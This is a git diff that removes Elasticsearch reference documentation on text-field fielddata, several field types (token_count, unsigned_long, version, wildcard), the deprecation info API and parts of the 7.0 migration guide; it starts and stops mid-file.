-    configured on the analyzer which defaults to `100`. `100` was chosen because it
-    prevents phrase queries with reasonably large slops (less than 100) from
-    matching terms across field values.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
-
-<<search-analyzer,`search_analyzer`>>::
-
-    The <<analyzer,`analyzer`>> that should be used at search time on
-    the `text` field. Defaults to the `analyzer` setting.
-
-<<search-quote-analyzer,`search_quote_analyzer`>>::
-
-    The <<analyzer,`analyzer`>> that should be used at search time when a
-    phrase is encountered. Defaults to the `search_analyzer` setting.
-
-<<similarity,`similarity`>>::
-
-    Which scoring algorithm or _similarity_ should be used. Defaults
-    to `BM25`.
-
-<<term-vector,`term_vector`>>::
-
-    Whether term vectors should be stored for the field. Defaults to `no`.
-
-<<mapping-field-meta,`meta`>>::
-
-    Metadata about the field.
-
-[[fielddata-mapping-param]]
-==== `fielddata` mapping parameter
-
-`text` fields are searchable by default, but by default are not available for
-aggregations, sorting, or scripting. If you try to sort, aggregate, or access
-values from a script on a `text` field, you will see this exception:
-
-Fielddata is disabled on text fields by default.  Set `fielddata=true` on
-`your_field_name` in order to load fielddata in memory by uninverting the
-inverted index. Note that this can however use significant memory.
-
-Field data is the only way to access the analyzed tokens from a full text field
-in aggregations, sorting, or scripting. For example, a full text field like `New York`
-would get analyzed as `new` and `york`. To aggregate on these tokens requires field data.
-
-[[before-enabling-fielddata]]
-==== Before enabling fielddata
-
-It usually doesn't make sense to enable fielddata on text fields. Field data
-is stored in the heap with the <<modules-fielddata, field data cache>> because it
-is expensive to calculate. Calculating the field data can cause latency spikes, and
-increasing heap usage is a cause of cluster performance issues.
-
-Most users who want to do more with text fields use <<multi-fields, multi-field mappings>>
-by having both a `text` field for full text searches, and an
-unanalyzed <<keyword,`keyword`>> field for aggregations, as follows:
-
-[source,console]
----------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_field": { <1>
-        "type": "text",
-        "fields": {
-          "keyword": { <2>
-            "type": "keyword"
-          }
-        }
-      }
-    }
-  }
-}
----------------------------------
-
-<1> Use the `my_field` field for searches.
-<2> Use the `my_field.keyword` field for aggregations, sorting, or in scripts.
-
-[[enable-fielddata-text-fields]]
-==== Enabling fielddata on `text` fields
-
-You can enable fielddata on an existing `text` field using the
-<<indices-put-mapping,PUT mapping API>> as follows:
-
-[source,console]
------------------------------------
-PUT my-index-000001/_mapping
-{
-  "properties": {
-    "my_field": { <1>
-      "type":     "text",
-      "fielddata": true
-    }
-  }
-}
------------------------------------
-// TEST[continued]
-
-<1> The mapping that you specify for `my_field` should consist of the existing
-    mapping for that field, plus the `fielddata` parameter.
-
-[[field-data-filtering]]
-==== `fielddata_frequency_filter` mapping parameter
-
-Fielddata filtering can be used to reduce the number of terms loaded into
-memory, and thus reduce memory usage. Terms can be filtered by _frequency_:
-
-The frequency filter allows you to only load terms whose document frequency falls
-between a `min` and `max` value, which can be expressed an absolute
-number (when the number is bigger than 1.0) or as a percentage
-(eg `0.01` is `1%` and `1.0` is `100%`). Frequency is calculated
-*per segment*. Percentages are based on the number of docs which have a
-value for the field, as opposed to all docs in the segment.
-
-Small segments can be excluded completely by specifying the minimum
-number of docs that the segment should contain with `min_segment_size`:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "tag": {
-        "type": "text",
-        "fielddata": true,
-        "fielddata_frequency_filter": {
-          "min": 0.001,
-          "max": 0.1,
-          "min_segment_size": 500
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/mapping/types/token-count.asciidoc b/docs/reference/mapping/types/token-count.asciidoc
deleted file mode 100644
index 31ed2ba0e44..00000000000
--- a/docs/reference/mapping/types/token-count.asciidoc
+++ /dev/null
@@ -1,98 +0,0 @@
-[[token-count]]
-=== Token count field type
-++++
-<titleabbrev>Token count</titleabbrev>
-++++
-
-A field of type `token_count` is really an <<number,`integer`>> field which
-accepts string values, analyzes them, then indexes the number of tokens in the
-string.
-
-For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "name": { <1>
-        "type": "text",
-        "fields": {
-          "length": { <2>
-            "type":     "token_count",
-            "analyzer": "standard"
-          }
-        }
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{ "name": "John Smith" }
-
-PUT my-index-000001/_doc/2
-{ "name": "Rachel Alice Williams" }
-
-GET my-index-000001/_search
-{
-  "query": {
-    "term": {
-      "name.length": 3 <3>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `name` field is a <<text,`text`>> field which uses the default
-`standard` analyzer.
-<2> The `name.length` field is a `token_count` <<multi-fields,multi-field>> which will index the number of tokens in the `name` field.
-<3> This query matches only the document containing `Rachel Alice Williams`, as it contains three tokens.
-
-
-[[token-count-params]]
-==== Parameters for `token_count` fields
-
-The following parameters are accepted by `token_count` fields:
-
-[horizontal]
-
-<<analyzer,`analyzer`>>::
-
-    The <<analysis,analyzer>> which should be used to analyze the string
-    value. Required. For best performance, use an analyzer without token
-    filters.
-
-`enable_position_increments`:: 
-
-Indicates if position increments should be counted. 
-Set to `false` if you don't want to count tokens removed by analyzer filters (like <<analysis-stop-tokenfilter,`stop`>>). 
-Defaults to `true`.
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number, defaults
-    to `1.0`.
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-<<mapping-index,`index`>>::
-
-    Should the field be searchable? Accepts `true` (default) and `false`.
-
-<<null-value,`null_value`>>::
-
-    Accepts a numeric value of the same `type` as the field which is
-    substituted for any explicit `null` values.  Defaults to `null`, which
-    means the field is treated as missing.
-
-<<mapping-store,`store`>>::
-
-    Whether the field value should be stored and retrievable separately from
-    the <<mapping-source-field,`_source`>> field. Accepts `true` or `false`
-    (default).
diff --git a/docs/reference/mapping/types/unsigned_long.asciidoc b/docs/reference/mapping/types/unsigned_long.asciidoc
deleted file mode 100644
index 6e7ace01b63..00000000000
--- a/docs/reference/mapping/types/unsigned_long.asciidoc
+++ /dev/null
@@ -1,127 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-
-[[unsigned-long]]
-=== Unsigned long field type
-++++
-<titleabbrev>Unsigned long</titleabbrev>
-++++
-Unsigned long is a numeric field type that represents an unsigned 64-bit
-integer with a minimum value of 0 and a maximum value of +2^64^-1+
-(from 0 to 18446744073709551615 inclusive).
-
-[source,console]
---------------------------------------------------
-PUT my_index
-{
-  "mappings": {
-    "properties": {
-      "my_counter": {
-        "type": "unsigned_long"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Unsigned long can be indexed in a numeric or string form,
-representing integer values in the range [0, 18446744073709551615].
-They can't have a decimal part.
-
-[source,console]
---------------------------------
-POST /my_index/_bulk?refresh
-{"index":{"_id":1}}
-{"my_counter": 0}
-{"index":{"_id":2}}
-{"my_counter": 9223372036854775808}
-{"index":{"_id":3}}
-{"my_counter": 18446744073709551614}
-{"index":{"_id":4}}
-{"my_counter": 18446744073709551615}
---------------------------------
-//TEST[continued]
-
-Term queries accept any numbers in a numeric or string form.
-
-[source,console]
---------------------------------
-GET /my_index/_search
-{
-    "query": {
-        "term" : {
-            "my_counter" : 18446744073709551615
-        }
-    }
-}
---------------------------------
-//TEST[continued]
-
-Range query terms can contain values with decimal parts.
-In this case {es} converts them to integer values:
-`gte` and `gt` terms are converted to the nearest integer up inclusive,
-and `lt` and `lte` ranges are converted to the nearest integer down inclusive.
-
-It is recommended to pass ranges as strings to ensure they are parsed
-without any loss of precision.
-
-[source,console]
---------------------------------
-GET /my_index/_search
-{
-    "query": {
-        "range" : {
-            "my_counter" : {
-                "gte" : "9223372036854775808.5",
-                "lte" : "18446744073709551615"
-            }
-        }
-    }
-}
---------------------------------
-//TEST[continued]
-
-
-For queries with sort on an `unsigned_long` field,
-for a particular document {es} returns a sort value of the type `long`
-if the value of this document is within the range of long values,
-or of the type `BigInteger` if the value exceeds this range.
-
-NOTE: REST clients need to be able to handle big integer values
-in JSON to support this field type correctly.
-
-[source,console]
---------------------------------
-GET /my_index/_search
-{
-    "query": {
-        "match_all" : {}
-    },
-    "sort" : {"my_counter" : "desc"}
-}
---------------------------------
-//TEST[continued]
-
-
-==== Unsigned long in scripts
-Currently unsigned_long is not supported in scripts.
-
-==== Stored fields
-A stored field of `unsigned_long` is stored and returned as `String`.
-
-==== Aggregations
-For `terms` aggregations, similarly to sort values, `Long` or
-`BigInteger` values are used. For other aggregations,
-values are converted to the `double` type.
-
-==== Queries with mixed numeric types
-
-Searches with mixed numeric types one of which is `unsigned_long` are
-supported, except queries with sort. Thus, a sort query across two indexes
-where the same field name has an `unsigned_long` type in one index,
-and `long` type in another, doesn't produce correct results and must
-be avoided. If there is a need for such kind of sorting, script based sorting
-can be used instead.
-
-Aggregations across several numeric types one of which is `unsigned_long` are
-supported. In this case, values are converted to the `double` type.
diff --git a/docs/reference/mapping/types/version.asciidoc b/docs/reference/mapping/types/version.asciidoc
deleted file mode 100644
index a1dfc693955..00000000000
--- a/docs/reference/mapping/types/version.asciidoc
+++ /dev/null
@@ -1,70 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[version]]
-=== Version field type
-++++
-<titleabbrev>Version</titleabbrev>
-++++
-
-The `version` field type is a specialization of the `keyword` field for
-handling software version values and to support specialized precedence
-rules for them. Precedence is defined following the rules outlined by
-https://semver.org/[Semantic Versioning], which for example means that
-major, minor and patch version parts are sorted numerically (i.e. 
-"2.1.0" < "2.4.1" < "2.11.2") and pre-release versions are sorted before
-release versions (i.e. "1.0.0-alpha" < "1.0.0").
-
-You index a `version` field as follows
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_version": {
-        "type": "version"
-      }
-    }
-  }
-}
-
---------------------------------------------------
-
-The field offers the same search capabilities as a regular keyword field. It 
-can e.g. be searched for exact matches using `match` or `term` queries and
-supports prefix and wildcard searches. The main benefit is that `range` queries
-will honor Semver ordering, so a `range` query between "1.0.0" and "1.5.0"
-will include versions of "1.2.3" but not "1.11.2" for example. Note that this
-would be different when using a regular `keyword` field for indexing where ordering
-is alphabetical.
-
-Software versions are expected to follow the
-https://semver.org/[Semantic Versioning rules] schema and precedence rules with
-the notable exception that more or less than three main version identifiers are
-allowed (i.e. "1.2" or "1.2.3.4" qualify as valid versions while they wouldn't under
-strict Semver rules). Version strings that are not valid under the Semver definition
-(e.g. "1.2.alpha.4") can still be indexed and retrieved as exact matches, however they
-will all appear _after_ any valid version with regular alphabetical ordering. The empty
-String "" is considered invalid and sorted after all valid versions, but before other
-invalid ones.
-
-[discrete]
-[[version-params]]
-==== Parameters for version fields
-
-The following parameters are accepted by `version` fields:
-
-[horizontal]
-
-<<mapping-field-meta,`meta`>>::
-
-    Metadata about the field.
-
-[discrete]
-==== Limitations
-
-This field type isn't optimized for heavy wildcard, regex or fuzzy searches. While those
-type of queries work in this field, you should consider using a regular `keyword` field if
-you strongly rely on these kind of queries.
-
diff --git a/docs/reference/mapping/types/wildcard.asciidoc b/docs/reference/mapping/types/wildcard.asciidoc
deleted file mode 100644
index 7f27cd80ea3..00000000000
--- a/docs/reference/mapping/types/wildcard.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[discrete]
-[[wildcard-field-type]]
-=== Wildcard field type
-
-A `wildcard` field stores values optimised for wildcard grep-like queries.
-Wildcard queries are possible on other field types but suffer from constraints:
-
-* `text` fields limit matching of any wildcard expressions to individual tokens rather than the original whole value held in a field
-* `keyword` fields are untokenized but slow at performing wildcard queries (especially patterns with leading wildcards).
-
-Internally the `wildcard` field indexes the whole field value using ngrams and stores the full string.
-The index is used as a rough filter to cut down the number of values that are then checked by retrieving and checking the full values.
-This field is especially well suited to run grep-like queries on log lines. Storage costs are typically lower than those of `keyword`
-fields but search speeds for exact matches on full terms are slower.
-
-You index and search a wildcard field as follows
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_wildcard": {
-        "type": "wildcard"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "my_wildcard" : "This string can be quite lengthy"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "wildcard": {
-      "my_wildcard": {
-        "value": "*quite*lengthy"
-      }
-    }
-  }
-}
-
-
---------------------------------------------------
-
-
-[discrete]
-[[wildcard-params]]
-==== Parameters for wildcard fields
-
-The following parameters are accepted by `wildcard` fields:
-
-[horizontal]
-
-<<null-value,`null_value`>>::
-
-    Accepts a string value which is substituted for any explicit `null`
-    values.  Defaults to `null`, which means the field is treated as missing.
-
-<<ignore-above,`ignore_above`>>::
-
-    Do not index any string longer than this value.  Defaults to `2147483647`
-    so that all values would be accepted.
-
-[discrete]
-==== Limitations
-
-* `wildcard` fields are untokenized like keyword fields, so do not support queries that rely on word positions such as phrase queries.
-
diff --git a/docs/reference/migration/apis/deprecation.asciidoc b/docs/reference/migration/apis/deprecation.asciidoc
deleted file mode 100644
index 2cc954d3c2b..00000000000
--- a/docs/reference/migration/apis/deprecation.asciidoc
+++ /dev/null
@@ -1,125 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[migration-api-deprecation]]
-=== Deprecation info APIs
-++++
-<titleabbrev>Deprecation info</titleabbrev>
-++++
-
-IMPORTANT: Use this API to check for deprecated configuration before performing
-a major version upgrade. You should run it on the last minor version of the
-major version you are upgrading from, as earlier minor versions may not include
-all deprecations.
-
-The deprecation API is to be used to retrieve information about different
-cluster, node, and index level settings that use deprecated features that will
-be removed or changed in the next major version.
-
-[[migration-api-request]]
-==== {api-request-title}
-
-`GET /_migration/deprecations` +
-
-`GET /<target>/_migration/deprecations`
-
-[[migration-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separate list of data streams or indices to check. Wildcard (`*`)
-expressions are supported.
-+
-When you specify this parameter, only deprecations for the specified
-data streams or indices are returned.
-
-[[migration-api-example]]
-==== {api-examples-title}
-
-To see the list of offenders in your cluster, submit a GET request to the
-`_migration/deprecations` endpoint:
-
-[source,console]
---------------------------------------------------
-GET /_migration/deprecations
---------------------------------------------------
-// TEST[skip:cannot assert tests have certain deprecations]
-
-Example response:
-
-
-["source","js",subs="attributes,callouts,macros"]
---------------------------------------------------
-{
-  "cluster_settings" : [
-    {
-      "level" : "critical",
-      "message" : "Cluster name cannot contain ':'",
-      "url" : "{ref}/breaking-changes-7.0.html#_literal_literal_is_no_longer_allowed_in_cluster_name",
-      "details" : "This cluster is named [mycompany:logging], which contains the illegal character ':'."
-    }
-  ],
-  "node_settings" : [ ],
-  "index_settings" : {
-    "logs:apache" : [
-      {
-        "level" : "warning",
-        "message" : "Index name cannot contain ':'",
-        "url" : "{ref}/breaking-changes-7.0.html#_literal_literal_is_no_longer_allowed_in_index_name",
-        "details" : "This index is named [logs:apache], which contains the illegal character ':'."
-      }
-    ]
-  },
-  "ml_settings" : [ ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The response breaks down all the specific forward-incompatible settings that you
-should resolve before upgrading your cluster. Any offending settings are
-represented as a deprecation warning.
-
-The following is an example deprecation warning:
-
-["source","js",subs="attributes,callouts,macros"]
---------------------------------------------------
-{
-  "level" : "warning",
-  "message" : "This is the generic descriptive message of the breaking change",
-  "url" : "{ref-60}/breaking_60_indices_changes.html",
-  "details" : "more information, like which nodes, indices, or settings are to blame"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-As is shown, there is a `level` property that describes the significance of the
-issue.
-
-|=======
-|warning | You can upgrade directly, but you are using deprecated functionality
-which will not be available or behave differently in the next major version.
-|critical | You cannot upgrade without fixing this problem.
-|=======
-
-The `message` property and the optional `details` property provide descriptive
-information about the deprecation warning. The `url` property provides a link to
-the Breaking Changes Documentation, where you can find more information about
-this change.
-
-Any cluster-level deprecation warnings can be found under the `cluster_settings`
-key. Similarly, any node-level warnings are found under `node_settings`. Since
-only a select subset of your nodes might incorporate these settings, it is
-important to read the `details` section for more information about which nodes
-are affected. Index warnings are sectioned off per index and can be filtered
-using an index-pattern in the query. This section includes warnings for the
-backing indices of data streams specified in the request path. Machine Learning
-related deprecation warnings can be found under the `ml_settings` key.
-
-The following example request shows only index-level deprecations of all
-`logstash-*` indices:
-
-[source,console]
---------------------------------------------------
-GET /logstash-*/_migration/deprecations
---------------------------------------------------
-// TEST[skip:cannot assert tests have certain deprecations]
diff --git a/docs/reference/migration/index.asciidoc b/docs/reference/migration/index.asciidoc
deleted file mode 100644
index b51a22e7ccc..00000000000
--- a/docs/reference/migration/index.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
-[[breaking-changes]]
-= Migration guide
-
-[partintro]
---
-This section describes the breaking changes and deprecations introduced in this release 
-and previous minor versions. 
-
-As {es} introduces new features and improves existing ones, 
-the changes sometimes make older settings, APIs, and parameters obsolete.
-The obsolete functionality is typically deprecated in a minor release and 
-removed in the subsequent major release.
-This enables applications to continue working unchanged across most minor version upgrades.
-Breaking changes introduced in minor releases are generally limited to critical security fixes 
-and bug fixes that correct unintended behavior.
-
-To get the most out of {es} and facilitate future upgrades, we strongly encourage migrating
-away from using deprecated functionality as soon as possible. 
-
-To give you insight into what deprecated features you're using, {es}:
-
-- Returns a `Warn` HTTP header whenever you submit a request that uses deprecated functionality.
-- <<deprecation-logging, Logs deprecation warnings>> when deprecated functionality is used. 
-- <<migration-api-deprecation, Provides a deprecation info API>> that scans a cluster's configuration 
-and mappings for deprecated functionality.
-
-For more information about {minor-version}, 
-see the <<release-highlights>> and <<es-release-notes>>.
-For information about how to upgrade your cluster, see <<setup-upgrade>>.
-
-* <<breaking-changes-7.10,Migrating to 7.10>>
-* <<breaking-changes-7.9,Migrating to 7.9>>
-* <<breaking-changes-7.8,Migrating to 7.8>>
-* <<breaking-changes-7.7,Migrating to 7.7>>
-* <<breaking-changes-7.6,Migrating to 7.6>>
-* <<breaking-changes-7.5,Migrating to 7.5>>
-* <<breaking-changes-7.4,Migrating to 7.4>>
-* <<breaking-changes-7.3,Migrating to 7.3>>
-* <<breaking-changes-7.2,Migrating to 7.2>>
-* <<breaking-changes-7.1,Migrating to 7.1>>
-* <<breaking-changes-7.0,Migrating to 7.0>>
-
---
-
-include::migrate_7_10.asciidoc[]
-include::migrate_7_9.asciidoc[]
-include::migrate_7_8.asciidoc[]
-include::migrate_7_7.asciidoc[]
-include::migrate_7_6.asciidoc[]
-include::migrate_7_5.asciidoc[]
-include::migrate_7_4.asciidoc[]
-include::migrate_7_3.asciidoc[]
-include::migrate_7_2.asciidoc[]
-include::migrate_7_1.asciidoc[]
-include::migrate_7_0.asciidoc[]
diff --git a/docs/reference/migration/migrate_7_0.asciidoc b/docs/reference/migration/migrate_7_0.asciidoc
deleted file mode 100644
index 141e359afa6..00000000000
--- a/docs/reference/migration/migrate_7_0.asciidoc
+++ /dev/null
@@ -1,72 +0,0 @@
-[[breaking-changes-7.0]]
-== Breaking changes in 7.0
-++++
-<titleabbrev>7.0</titleabbrev>
-++++
-
-This section discusses the changes that you need to be aware of when migrating
-your application to Elasticsearch 7.0.
-
-See also <<release-highlights>> and <<es-release-notes>>.
-
-* <<breaking_70_aggregations_changes>>
-* <<breaking_70_cluster_changes>>
-* <<breaking_70_discovery_changes>>
-* <<breaking_70_indices_changes>>
-* <<breaking_70_ingest_changes>>
-* <<breaking_70_mappings_changes>>
-* <<breaking_70_ml_changes>>
-* <<breaking_70_search_changes>>
-* <<breaking_70_suggesters_changes>>
-* <<breaking_70_packaging_changes>>
-* <<breaking_70_plugins_changes>>
-* <<breaking_70_analysis_changes>>
-* <<breaking_70_api_changes>>
-* <<breaking_70_java_changes>>
-* <<breaking_70_settings_changes>>
-* <<breaking_70_scripting_changes>>
-* <<breaking_70_snapshotstats_changes>>
-* <<breaking_70_restclient_changes>>
-* <<breaking_70_low_level_restclient_changes>>
-* <<breaking_70_logging_changes>>
-* <<breaking_70_node_changes>>
-* <<breaking_70_java_time_changes>>
-
-[discrete]
-=== Indices created before 7.0
-
-Elasticsearch 7.0 can read indices created in version 6.0 or above.  An
-Elasticsearch 7.0 node will not start in the presence of indices created in a
-version of Elasticsearch before 6.0.
-
-[IMPORTANT]
-.Reindex indices from Elasticsearch 5.x or before
-=========================================
-
-Indices created in Elasticsearch 5.x or before will need to be reindexed with
-Elasticsearch 6.x in order to be readable by Elasticsearch 7.x.
-
-=========================================
-
-include::migrate_7_0/aggregations.asciidoc[]
-include::migrate_7_0/analysis.asciidoc[]
-include::migrate_7_0/cluster.asciidoc[]
-include::migrate_7_0/discovery.asciidoc[]
-include::migrate_7_0/ingest.asciidoc[]
-include::migrate_7_0/indices.asciidoc[]
-include::migrate_7_0/mappings.asciidoc[]
-include::migrate_7_0/ml.asciidoc[]
-include::migrate_7_0/search.asciidoc[]
-include::migrate_7_0/suggesters.asciidoc[]
-include::migrate_7_0/packaging.asciidoc[]
-include::migrate_7_0/plugins.asciidoc[]
-include::migrate_7_0/api.asciidoc[]
-include::migrate_7_0/java.asciidoc[]
-include::migrate_7_0/settings.asciidoc[]
-include::migrate_7_0/scripting.asciidoc[]
-include::migrate_7_0/snapshotstats.asciidoc[]
-include::migrate_7_0/restclient.asciidoc[]
-include::migrate_7_0/low_level_restclient.asciidoc[]
-include::migrate_7_0/logging.asciidoc[]
-include::migrate_7_0/node.asciidoc[]
-include::migrate_7_0/java_time.asciidoc[]
diff --git a/docs/reference/migration/migrate_7_0/aggregations.asciidoc b/docs/reference/migration/migrate_7_0/aggregations.asciidoc
deleted file mode 100644
index f0e7a78302a..00000000000
--- a/docs/reference/migration/migrate_7_0/aggregations.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[discrete]
-[[breaking_70_aggregations_changes]]
-=== Aggregations changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-
-[discrete]
-[[removed-global-ordinals-hash-and-global-ordinals-low-cardinality-terms-agg]]
-==== Deprecated `global_ordinals_hash` and `global_ordinals_low_cardinality` execution hints for terms aggregations have been removed
-
-These `execution_hint` are removed and should be replaced by `global_ordinals`.
-
-[discrete]
-[[search-max-buckets-cluster-setting]]
-==== `search.max_buckets` in the cluster setting
-
-The dynamic cluster setting named `search.max_buckets` now defaults
-to 10,000 (instead of unlimited in the previous version).
-Requests that try to return more than the limit will fail with an exception.
-
-[discrete]
-[[missing-option-removed-composite-agg]]
-==== `missing` option of the `composite` aggregation has been removed
-
-The `missing` option of the `composite` aggregation, deprecated in 6.x,
-has been removed. `missing_bucket` should be used instead.
-
-[discrete]
-[[replace-params-agg-with-state-context-variable]]
-==== Replaced `params._agg` with `state` context variable in scripted metric aggregations
-
-The object used to share aggregation state between the scripts in a Scripted Metric
-Aggregation is now a variable called `state` available in the script context, rather than
-being provided via the `params` object as `params._agg`.
-
-[discrete]
-[[reduce-script-combine-script-params-mandatory]]
-==== Make metric aggregation script parameters `reduce_script` and `combine_script` mandatory
-
-The metric aggregation has been changed to require these two script parameters to ensure users are
-explicitly defining how their data is processed.
-
-[discrete]
-[[percentiles-percentile-ranks-return-null-instead-nan]]
-==== `percentiles` and `percentile_ranks` now return `null` instead of `NaN`
-
-The `percentiles` and `percentile_ranks` aggregations used to return `NaN` in
-the response if they were applied to an empty set of values. Because `NaN` is
-not officially supported by JSON, it has been replaced with `null`.
-
-[discrete]
-[[stats-extended-stats-return-zero-instead-null]]
-==== `stats` and `extended_stats` now return 0 instead of `null` for zero docs
-
-When the `stats` and `extended_stats` aggregations collected zero docs (`doc_count: 0`),
-their value would be `null`.  This was in contrast with the `sum` aggregation which
-would return `0`.  The `stats` and `extended_stats` aggs are now consistent with
-`sum` and also return zero.
diff --git a/docs/reference/migration/migrate_7_0/analysis.asciidoc b/docs/reference/migration/migrate_7_0/analysis.asciidoc
deleted file mode 100644
index 7c5e4901b6e..00000000000
--- a/docs/reference/migration/migrate_7_0/analysis.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-[discrete]
-[[breaking_70_analysis_changes]]
-=== Analysis changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[limit-number-of-tokens-produced-by-analyze]]
-==== Limiting the number of tokens produced by _analyze
-
-To safeguard against out of memory errors, the number of tokens that can be produced
-using the `_analyze` endpoint has been limited to 10000. This default limit can be changed
-for a particular index with the index setting `index.analyze.max_token_count`.
-
-[discrete]
-==== Limiting the length of an analyzed text during highlighting
-
-Highlighting a text that was indexed without offsets or term vectors,
-requires analysis of this text in memory real time during the search request.
-For large texts this analysis may take substantial amount of time and memory.
-To protect against this, the maximum number of characters that will be analyzed has been
-limited to 1000000. This default limit can be changed
-for a particular index with the index setting `index.highlight.max_analyzed_offset`.
-
-[discrete]
-[[delimited-payload-filter-renaming]]
-==== `delimited_payload_filter` renaming
-
-The `delimited_payload_filter` was deprecated and renamed to `delimited_payload` in 6.2.
-Using it in indices created before 7.0 will issue deprecation warnings. Using the old
-name in new indices created in 7.0 will throw an error. Use the new name `delimited_payload`
-instead.
-
-[discrete]
-[[standard-filter-removed]]
-==== `standard` filter has been removed
-
-The `standard` token filter has been removed because it doesn't change anything in the stream.
-
-[discrete]
-==== Deprecated standard_html_strip analyzer
-
-The `standard_html_strip` analyzer has been deprecated, and should be replaced
-with a combination of the `standard` tokenizer and `html_strip` char_filter.
-Indexes created using this analyzer will still be readable in elasticsearch 7.0,
-but it will not be possible to create new indexes using it.
-
-[discrete]
-[[deprecated-ngram-edgengram-token-filter-cannot-be-used]]
-==== The deprecated `nGram` and `edgeNGram` token filter cannot be used on new indices
-
-The `nGram` and `edgeNGram` token filter names have been deprecated in an earlier 6.x version.
-Indexes created using these token filters will still be readable in elasticsearch 7.0 but indexing
-documents using those filter names will issue a deprecation warning. Using the deprecated names on
-new indices starting with version 7.0.0 will be prohibited and throw an error when indexing
-or analyzing documents. Both names should be replaced by `ngram` or `edge_ngram` respectively.
-
-[discrete]
-==== Limit to the difference between max_size and min_size in NGramTokenFilter and NGramTokenizer
-
-To safeguard against creating too many index terms, the difference between `max_ngram` and
-`min_ngram` in `NGramTokenFilter` and `NGramTokenizer` has been limited to 1. This default
-limit can be changed with the index setting `index.max_ngram_diff`. Note that if the limit is
-exceeded a error is thrown only for new indices. For existing pre-7.0 indices, a deprecation
-warning is logged.
-
-[discrete]
-==== Limit to the difference between max_shingle_size and min_shingle_size in ShingleTokenFilter
-
-To safeguard against creating too many tokens, the difference between `max_shingle_size` and
-`min_shingle_size` in `ShingleTokenFilter` has been limited to 3. This default
-limit can be changed with the index setting `index.max_shingle_diff`. Note that if the limit is
-exceeded a error is thrown only for new indices. For existing pre-7.0 indices, a deprecation
-warning is logged.
diff --git a/docs/reference/migration/migrate_7_0/api.asciidoc b/docs/reference/migration/migrate_7_0/api.asciidoc
deleted file mode 100644
index d110f7882c1..00000000000
--- a/docs/reference/migration/migrate_7_0/api.asciidoc
+++ /dev/null
@@ -1,303 +0,0 @@
-[discrete]
-[[breaking_70_api_changes]]
-=== API changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-
-[discrete]
-==== Internal Versioning is no longer supported for optimistic concurrency control
-
-Elasticsearch maintains a numeric version field for each document it stores. That field
-is incremented by one with every change to the document. Until 7.0.0 the API allowed using
-that field for optimistic concurrency control, i.e., making a write operation conditional
-on the current document version. Sadly, that approach is flawed because the value of the
-version doesn't always uniquely represent a change to the document. If a primary fails
-while handling a write operation, it may expose a version that will then be reused by the
-new primary.
-
-Due to that issue, internal versioning can no longer be used and is replaced by a new
-method based on <<optimistic-concurrency-control,sequence numbers>>. To switch
-to the new method, follow these steps:
-
-. Perform a <<rolling-upgrades,rolling upgrade>> to 6.8.
-
-. <<reindex-upgrade,Reindex>> any indices created before 6.0. This ensures
-documents in those indices have sequence numbers.
-+
-To get the {es} version in which an index was created, use the
-<<indices-get-index,get index API>> with the `human` parameter:
-+
---
-.*API Example*
-[%collapsible]
-====
-[source,console]
-----
-GET /*?human
-----
-// TEST[setup:my_index]
-
-The response returns a `settings.index.version.created_string` property for
-each index:
-
-[source,console-response]
-----
-{
-  "my-index-000001": {
-    ...
-    "settings": {
-      "index": {
-        "creation_date_string": "2099-01-01T00:00:00.000Z",
-        "routing": {
-          "allocation": {
-            "include": {
-              "_tier_preference": "data_content"
-            }
-          }
-        },
-        "number_of_shards": "1",
-        "provided_name": "my-index-000001",
-        "creation_date": "4070908800",
-        "number_of_replicas": "1",
-        "uuid": "c89-MHh8RwKwS1r7Turg2g",
-        "version": {
-          "created_string": "5.5.0",           <1>
-          "created": "5050099"
-        }
-      }
-    }
-  }
-}
-----
-// TESTRESPONSE[s/\.\.\./"aliases": $body.my-index-000001.aliases, "mappings": $body.my-index-000001.mappings,/]
-// TESTRESPONSE[s/"creation_date_string": "2099-01-01T00:00:00.000Z"/"creation_date_string": $body.my-index-000001.settings.index.creation_date_string/]
-// TESTRESPONSE[s/"creation_date": "4070908800"/"creation_date": $body.my-index-000001.settings.index.creation_date/]
-// TESTRESPONSE[s/"uuid": "c89-MHh8RwKwS1r7Turg2g"/"uuid": $body.my-index-000001.settings.index.uuid/]
